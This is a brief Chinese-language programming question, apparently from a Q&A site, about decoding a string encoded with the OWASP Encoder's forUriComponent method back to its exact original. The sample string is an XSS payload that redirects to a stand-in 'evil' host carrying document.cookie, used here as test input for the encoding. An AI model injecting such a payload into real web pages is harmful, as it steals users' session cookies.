【发布时间】:2018-07-15 04:53:06
【问题描述】:
我使用 OWASP 编码器的forURIComponent 方法对下面的查询字符串进行了编码。
String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
现在我需要解码encodedQuery,解码后的字符串应该与原始查询完全相等。我该怎么做?
【问题讨论】:
标签: javascript java url-encoding owasp